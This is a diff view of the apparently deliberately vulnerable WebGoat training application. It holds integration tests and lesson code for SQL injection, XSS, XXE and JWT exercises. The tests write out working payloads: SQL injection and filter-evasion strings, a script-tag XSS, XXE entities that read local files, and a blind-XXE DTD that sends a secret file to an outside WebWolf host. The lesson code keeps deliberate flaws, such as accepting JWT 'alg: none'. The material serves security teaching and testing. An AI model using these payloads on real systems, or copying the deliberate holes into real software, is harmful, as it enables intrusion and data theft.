params.clear();
params.put("query", sql_5);
checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true);
params.clear();
params.put("query", sql_5);
checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true);
params.clear();
params.put("operator", sql_9_operator);
params.put("account", sql_9_account);
params.put("injection", sql_9_injection);
checkAssignment(url("/WebGoat/SqlInjection/assignment5a"), params, true);
params.clear();
params.put("operator", sql_9_operator);
params.put("account", sql_9_account);
params.put("injection", sql_9_injection);
checkAssignment(url("/WebGoat/SqlInjection/assignment5a"), params, true);
params.clear();
params.put("login_count", sql_10_login_count);
params.put("userid", sql_10_userid);
checkAssignment(url("/WebGoat/SqlInjection/assignment5b"), params, true);
params.clear();
params.put("login_count", sql_10_login_count);
params.put("userid", sql_10_userid);
checkAssignment(url("/WebGoat/SqlInjection/assignment5b"), params, true);
params.clear();
params.put("name", sql_11_a);
params.put("auth_tan", sql_11_b);
checkAssignment(url("/WebGoat/SqlInjection/attack8"), params, true);
params.clear();
params.put("name", sql_11_a);
params.put("auth_tan", sql_11_b);
checkAssignment(url("/WebGoat/SqlInjection/attack8"), params, true);
params.clear();
params.put("name", sql_12_a);
params.put("auth_tan", sql_12_b);
checkAssignment(url("/WebGoat/SqlInjection/attack9"), params, true);
params.clear();
params.put("name", sql_12_a);
params.put("auth_tan", sql_12_b);
checkAssignment(url("/WebGoat/SqlInjection/attack9"), params, true);
params.clear();
params.put("action_string", sql_13);
checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
params.clear();
params.put("action_string", sql_13);
checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
checkResults("/SqlInjection/");
}
checkResults("/SqlInjection/");
}
}

View File

@ -1,70 +1,85 @@
package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
import static org.hamcrest.CoreMatchers.containsString;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("SqlInjectionMitigations");
@Test
public void runTests() {
startLesson("SqlInjectionMitigations");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("field1", "getConnection");
params.put("field2", "PreparedStatement prep");
params.put("field3", "prepareStatement");
params.put("field4", "?");
params.put("field5", "?");
params.put("field6", "prep.setString(1,\"\")");
params.put("field7", "prep.setString(2,\\\"\\\")");
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("field1", "getConnection");
params.put("field2", "PreparedStatement prep");
params.put("field3", "prepareStatement");
params.put("field4", "?");
params.put("field5", "?");
params.put("field6", "prep.setString(1,\"\")");
params.put("field7", "prep.setString(2,\\\"\\\")");
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
params.put("editor", "try {\r\n" +
" Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n" +
" PreparedStatement prep = conn.prepareStatement(\"select id from users where name = ?\");\r\n" +
" prep.setString(1,\"me\");\r\n" +
" prep.execute();\r\n" +
" System.out.println(conn); //should output 'null'\r\n" +
"} catch (Exception e) {\r\n" +
" System.out.println(\"Oops. Something went wrong!\");\r\n" +
"}");
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
params.put(
"editor",
"try {\r\n"
+ " Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n"
+ " PreparedStatement prep = conn.prepareStatement(\"select id from users where name"
+ " = ?\");\r\n"
+ " prep.setString(1,\"me\");\r\n"
+ " prep.execute();\r\n"
+ " System.out.println(conn); //should output 'null'\r\n"
+ "} catch (Exception e) {\r\n"
+ " System.out.println(\"Oops. Something went wrong!\");\r\n"
+ "}");
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
params.clear();
params.put("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
params.clear();
params.put(
"userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
params.clear();
params.put("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
params.clear();
params.put(
"userid_sql_only_input_validation_on_keywords",
"Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
RestAssured.given()
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)"))
.then()
.statusCode(200);
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(
url(
"/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname"
+ " else id end)"))
.then()
.statusCode(200);
RestAssured.given()
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
.then()
.statusCode(500)
.body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by"));
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
.then()
.statusCode(500)
.body(
"trace",
containsString(
"select id, hostname, ip, mac, status, description from SERVERS where status <>"
+ " 'out of order' order by"));
params.clear();
params.put("ip", "104.130.219.202");
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack12a"), params, true);
params.clear();
params.put("ip", "104.130.219.202");
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack12a"), params, true);
checkResults();
}
checkResults();
}
}

View File

@ -2,50 +2,55 @@ package org.owasp.webgoat;
import static org.junit.jupiter.api.Assertions.assertTrue;
import io.restassured.RestAssured;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
import io.restassured.RestAssured;
public class WebWolfIntegrationTest extends IntegrationTest {
@Test
public void runTests() throws IOException {
startLesson("WebWolfIntroduction");
@Test
public void runTests() throws IOException {
startLesson("WebWolfIntroduction");
//Assignment 3
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("email", this.getUser()+"@webgoat.org");
checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
// Assignment 3
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("email", this.getUser() + "@webgoat.org");
checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
String responseBody = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/mail"))
.then()
.extract().response().getBody().asString();
String uniqueCode = responseBody.replace("%20", " ");
uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length()));
params.clear();
params.put("uniqueCode", uniqueCode);
checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
//Assignment 4
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.queryParams(params)
.get(url("/WebGoat/WebWolf/landing/password-reset"))
.then()
.statusCode(200);
String responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/mail"))
.then()
.extract()
.response()
.getBody()
.asString();
String uniqueCode = responseBody.replace("%20", " ");
uniqueCode =
uniqueCode.substring(
21 + uniqueCode.lastIndexOf("your unique code is: "),
uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
params.clear();
params.put("uniqueCode", uniqueCode);
checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
// Assignment 4
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.queryParams(params)
.get(url("/WebGoat/WebWolf/landing/password-reset"))
.then()
.statusCode(200);
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
@ -53,20 +58,22 @@ public class WebWolfIntegrationTest extends IntegrationTest {
.get(webWolfUrl("/landing"))
.then()
.statusCode(200);
responseBody = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests"))
.then()
.extract().response().getBody().asString();
assertTrue(responseBody.contains(uniqueCode));
params.clear();
params.put("uniqueCode", uniqueCode);
checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
checkResults("/WebWolf");
}
responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests"))
.then()
.extract()
.response()
.getBody()
.asString();
assertTrue(responseBody.contains(uniqueCode));
params.clear();
params.put("uniqueCode", uniqueCode);
checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
checkResults("/WebWolf");
}
}

View File

@ -1,68 +1,80 @@
package org.owasp.webgoat;
import io.restassured.RestAssured;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class XSSIntegrationTest extends IntegrationTest {
@Test
public void crossSiteScriptingAssignments() {
startLesson("CrossSiteScripting");
@Test
public void crossSiteScriptingAssignments() {
startLesson("CrossSiteScripting");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("checkboxAttack1", "value");
checkAssignment(url("/CrossSiteScripting/attack1"), params, true);
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("checkboxAttack1", "value");
checkAssignment(url("/CrossSiteScripting/attack1"), params, true);
params.clear();
params.put("QTY1", "1");
params.put("QTY2", "1");
params.put("QTY3", "1");
params.put("QTY4", "1");
params.put("field1", "<script>alert('XSS+Test')</script>");
params.put("field2", "111");
checkAssignmentWithGet(url("/CrossSiteScripting/attack5a"), params, true);
params.clear();
params.put("QTY1", "1");
params.put("QTY2", "1");
params.put("QTY3", "1");
params.put("QTY4", "1");
params.put("field1", "<script>alert('XSS+Test')</script>");
params.put("field2", "111");
checkAssignmentWithGet(url("/CrossSiteScripting/attack5a"), params, true);
params.clear();
params.put("DOMTestRoute", "start.mvc#test");
checkAssignment(url("/CrossSiteScripting/attack6a"), params, true);
params.clear();
params.put("DOMTestRoute", "start.mvc#test");
checkAssignment(url("/CrossSiteScripting/attack6a"), params, true);
params.clear();
params.put("param1", "42");
params.put("param2", "24");
params.clear();
params.put("param1", "42");
params.put("param2", "24");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest")
.formParams(params)
.post(url("/CrossSiteScripting/phone-home-xss"))
.then()
.statusCode(200)
.extract()
.path("output");
String secretNumber = result.substring("phoneHome Response is ".length());
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest")
.formParams(params)
.post(url("/CrossSiteScripting/phone-home-xss"))
.then()
.statusCode(200)
.extract().path("output");
String secretNumber = result.substring("phoneHome Response is ".length());
params.clear();
params.put("successMessage", secretNumber);
checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
params.clear();
params.put("successMessage", secretNumber);
checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
params.clear();
params.put(
"question_0_solution",
"Solution 4: No because the browser trusts the website if it is acknowledged trusted, then"
+ " the browser does not know that the script is malicious.");
params.put(
"question_1_solution",
"Solution 3: The data is included in dynamic content that is sent to a web user without"
+ " being validated for malicious content.");
params.put(
"question_2_solution",
"Solution 1: The script is permanently stored on the server and the victim gets the"
+ " malicious script when requesting information from the server.");
params.put(
"question_3_solution",
"Solution 2: They reflect the injected script off the web server. That occurs when input"
+ " sent to the web server is part of the request.");
params.put(
"question_4_solution",
"Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
+ " the browser executes.");
checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
params.clear();
params.put("question_0_solution", "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious.");
params.put("question_1_solution", "Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content.");
params.put("question_2_solution", "Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server.");
params.put("question_3_solution", "Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request.");
params.put("question_4_solution", "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes.");
checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
checkResults("/CrossSiteScripting/");
}
checkResults("/CrossSiteScripting/");
}
}

View File

@ -2,98 +2,125 @@ package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import org.junit.jupiter.api.Test;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import org.junit.jupiter.api.Test;
public class XXEIntegrationTest extends IntegrationTest {
private static final String xxe3 = """
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
private static final String xxe4 = """
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
private static final String dtd7 = """
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;""";
private static final String xxe7 = """
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>""";
private static final String xxe3 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String xxe4 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String dtd7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
""";
private static final String xxe7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
""";
private String webGoatHomeDirectory;
private String webWolfFileServerLocation;
private String webGoatHomeDirectory;
private String webWolfFileServerLocation;
/*
* This test is to verify that all is secure when XXE security patch is applied.
*/
@Test
public void xxeSecure() throws IOException {
startLesson("XXE");
webGoatHomeDirectory = webGoatServerDirectory();
webWolfFileServerLocation = getWebWolfFileServerLocation();
/*
* This test is to verify that all is secure when XXE security patch is applied.
*/
@Test
public void xxeSecure() throws IOException {
startLesson("XXE");
webGoatHomeDirectory = webGoatServerDirectory();
webWolfFileServerLocation = getWebWolfFileServerLocation();
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/enable-security.mvc"))
.then()
.statusCode(200);
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
checkAssignment(
url("/WebGoat/xxe/blind"),
ContentType.XML,
"<comment><text>" + getSecret() + "</text></comment>",
false);
}
/**
* This performs the steps of the exercise before the secret can be committed in the final step.
*
* @return
* @throws IOException
*/
private String getSecret() throws IOException {
// remove any left over DTD
Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
}
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
String dtd7String =
dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
// upload DTD
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrl("/fileupload"))
.then()
.extract()
.response()
.getBody()
.asString();
// upload attack
String xxe7String =
xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
// read results from WebWolf
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/enable-security.mvc"))
.then()
.statusCode(200);
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests"))
.then()
.extract()
.response()
.getBody()
.asString();
result = result.replace("%20", " ");
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
result =
result.substring(
result.lastIndexOf("WebGoat 8.0 rocks... ("),
result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
}
return result;
}
/**
* This performs the steps of the exercise before the secret can be committed in the final step.
*
* @return
* @throws IOException
*/
private String getSecret() throws IOException {
//remove any left over DTD
Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
}
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
//upload DTD
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrl("/fileupload"))
.then()
.extract().response().getBody().asString();
//upload attack
String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
//read results from WebWolf
String result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests"))
.then()
.extract().response().getBody().asString();
result = result.replace("%20", " ");
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
}
return result;
}
@Test
public void runTests() throws IOException {
startLesson("XXE", true);
webGoatHomeDirectory = webGoatServerDirectory();
webWolfFileServerLocation = getWebWolfFileServerLocation();
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
checkResults("xxe/");
}
@Test
public void runTests() throws IOException {
startLesson("XXE", true);
webGoatHomeDirectory = webGoatServerDirectory();
webWolfFileServerLocation = getWebWolfFileServerLocation();
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(
url("/WebGoat/xxe/blind"),
ContentType.XML,
"<comment><text>" + getSecret() + "</text></comment>",
true);
checkResults("xxe/");
}
}

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.container.users;
import java.util.ArrayList;
import java.util.List;
import java.util.Optional;
import java.util.stream.Collectors;
import lombok.AllArgsConstructor;
import lombok.Getter;
import org.owasp.webgoat.container.i18n.PluginMessages;
@ -35,19 +35,15 @@ public class Scoreboard {
@GetMapping("/scoreboard-data")
public List<Ranking> getRankings() {
List<WebGoatUser> allUsers = userRepository.findAll();
List<Ranking> rankings = new ArrayList<>();
for (WebGoatUser user : allUsers) {
if (user.getUsername().startsWith("csrf-")) {
// the csrf- assignment specific users do not need to be in the overview
continue;
}
UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
}
/* sort on number of captured flags to present an ordered ranking */
rankings.sort((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size());
return rankings;
return userRepository.findAll().stream()
.filter(user -> !user.getUsername().startsWith("csrf-"))
.map(
user ->
new Ranking(
user.getUsername(),
challengesSolved(userTrackerRepository.findByUser(user.getUsername()))))
.sorted((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size())
.collect(Collectors.toList());
}
private List<String> challengesSolved(UserTracker userTracker) {

View File

@ -22,7 +22,12 @@
package org.owasp.webgoat.lessons.jwt;
import io.jsonwebtoken.*;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.JwsHeader;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SigningKeyResolverAdapter;
import io.jsonwebtoken.impl.TextCodec;
import java.sql.ResultSet;
import java.sql.SQLException;
@ -31,34 +36,12 @@ import org.owasp.webgoat.container.LessonDataSource;
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
import org.owasp.webgoat.container.assignments.AssignmentHints;
import org.owasp.webgoat.container.assignments.AttackResult;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
/**
*
*
* <pre>
* {
* "typ": "JWT",
* "kid": "webgoat_key",
* "alg": "HS256"
* }
* {
* "iss": "WebGoat Token Builder",
* "iat": 1524210904,
* "exp": 1618905304,
* "aud": "webgoat.org",
* "sub": "jerry@webgoat.com",
* "username": "Jerry",
* "Email": "jerry@webgoat.com",
* "Role": [
* "Cat"
* ]
* }
* </pre>
*
* @author nbaars
* @since 4/23/17.
*/
@RestController
@AssignmentHints({
"jwt-final-hint1",

View File

@ -49,10 +49,6 @@ import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
/**
* @author nbaars
* @since 4/23/17.
*/
@RestController
@AssignmentHints({
"jwt-refresh-hint1",
@ -85,9 +81,7 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
}
private Map<String, Object> createNewTokens(String user) {
Map<String, Object> claims = new HashMap<>();
claims.put("admin", "false");
claims.put("user", user);
Map<String, Object> claims = Map.of("admin", "false", "user", user);
String token =
Jwts.builder()
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
@ -114,6 +108,9 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
Claims claims = (Claims) jwt.getBody();
String user = (String) claims.get("user");
if ("Tom".equals(user)) {
if ("none".equals(jwt.getHeader().get("alg"))) {
return ok(success(this).feedback("jwt-refresh-alg-none").build());
}
return ok(success(this).build());
}
return ok(failed(this).feedback("jwt-refresh-not-tom").feedbackArgs(user).build());

View File

@ -42,10 +42,6 @@ import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
/**
* @author nbaars
* @since 4/23/17.
*/
@RestController
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
public class JWTSecretKeyEndpoint extends AssignmentEndpoint {

View File

@ -58,10 +58,6 @@ import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestController;
/**
* @author nbaars
* @since 4/23/17.
*/
@RestController
@AssignmentHints({
"jwt-change-token-hint1",

View File

@ -57,6 +57,7 @@ import org.springframework.web.servlet.ModelAndView;
})
public class ResetLinkAssignment extends AssignmentEndpoint {
private static final String VIEW_FORMATTER = "lessons/passwordreset/templates/%s.html";
static final String PASSWORD_TOM_9 =
"somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom";
static final String TOM_EMAIL = "tom@webgoat-cloud.org";
@ -65,15 +66,18 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
static List<String> resetLinks = new ArrayList<>();
static final String TEMPLATE =
"Hi, you requested a password reset link, please use this <a target='_blank'"
+ " href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your"
+ " password.\n"
+ " \n\n"
+ "If you did not request this password change you can ignore this message.\n"
+ "If you have any comments or questions, please do not hesitate to reach us at"
+ " support@webgoat-cloud.org\n\n"
+ "Kind regards, \n"
+ "Team WebGoat";
"""
Hi, you requested a password reset link, please use this <a target='_blank'
href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your
password.
If you did not request this password change you can ignore this message.
If you have any comments or questions, please do not hesitate to reach us at
support@webgoat-cloud.org
Kind regards,
Team WebGoat
""";
@PostMapping("/PasswordReset/reset/login")
@ResponseBody
@ -98,20 +102,14 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
form.setResetLink(link);
model.addAttribute("form", form);
modelAndView.addObject("form", form);
modelAndView.setViewName("password_reset"); // Display html page for changing password
modelAndView.setViewName(
VIEW_FORMATTER.formatted("password_reset")); // Display html page for changing password
} else {
modelAndView.setViewName("password_link_not_found");
modelAndView.setViewName(VIEW_FORMATTER.formatted("password_link_not_found"));
}
return modelAndView;
}
@GetMapping("/PasswordReset/reset/change-password")
public ModelAndView illegalCall() {
ModelAndView modelAndView = new ModelAndView();
modelAndView.setViewName("password_link_not_found");
return modelAndView;
}
@PostMapping("/PasswordReset/reset/change-password")
public ModelAndView changePassword(
@ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) {
@ -120,17 +118,17 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
bindingResult.rejectValue("password", "not.empty");
}
if (bindingResult.hasErrors()) {
modelAndView.setViewName("password_reset");
modelAndView.setViewName(VIEW_FORMATTER.formatted("password_reset"));
return modelAndView;
}
if (!resetLinks.contains(form.getResetLink())) {
modelAndView.setViewName("password_link_not_found");
modelAndView.setViewName(VIEW_FORMATTER.formatted("password_link_not_found"));
return modelAndView;
}
if (checkIfLinkIsFromTom(form.getResetLink())) {
usersToTomPassword.put(getWebSession().getUserName(), form.getPassword());
}
modelAndView.setViewName("lessons/passwordreset/templates/success.html");
modelAndView.setViewName(VIEW_FORMATTER.formatted("success"));
return modelAndView;
}

View File

@ -23,7 +23,7 @@
package org.owasp.webgoat.lessons.xxe;
import java.util.Collection;
import org.springframework.beans.factory.annotation.Autowired;
import lombok.AllArgsConstructor;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
@ -36,9 +36,10 @@ import org.springframework.web.bind.annotation.RestController;
*/
@RestController
@RequestMapping("xxe/comments")
@AllArgsConstructor
public class CommentsEndpoint {
@Autowired private CommentsCache comments;
private final CommentsCache comments;
@GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody

View File

@ -48,14 +48,15 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
protected void configure(HttpSecurity http) throws Exception {
ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security =
http.authorizeRequests()
.antMatchers("/css/**", "/images/**", "/js/**", "/fonts/**", "/webjars/**", "/home")
.permitAll()
.antMatchers(HttpMethod.GET, "/mail/**", "/requests/**")
.antMatchers(HttpMethod.POST, "/fileupload")
.authenticated()
.antMatchers("/files")
.antMatchers(HttpMethod.GET, "/files", "/mail", "/requests")
.authenticated()
.and()
.authorizeRequests()
.anyRequest()
.permitAll();
security.and().csrf().disable().formLogin().loginPage("/login").failureUrl("/login?error=true");
security.and().formLogin().loginPage("/login").defaultSuccessUrl("/home", true).permitAll();
security.and().logout().permitAll();

View File

@ -21,6 +21,7 @@ jwt-refresh-hint2=The token from the access log is no longer valid, can you find
jwt-refresh-hint3=The endpoint for refreshing a token is 'JWT/refresh/newToken'
jwt-refresh-hint4=Use the found access token in the Authorization: Bearer header and use your own refresh token
jwt-refresh-not-tom=User is not Tom but {0}, please try again
jwt-refresh-alg-none=Nicely found! You solved the assignment with 'alg: none' can you also solve it by using the refresh token?
jwt-final-jerry-account=Yikes, you are removing Jerry's account, try to delete the account of Tom
jwt-final-not-tom=Username is not Tom try to pass a token for Tom

View File

@ -19,7 +19,7 @@ $(document).ready(() => {
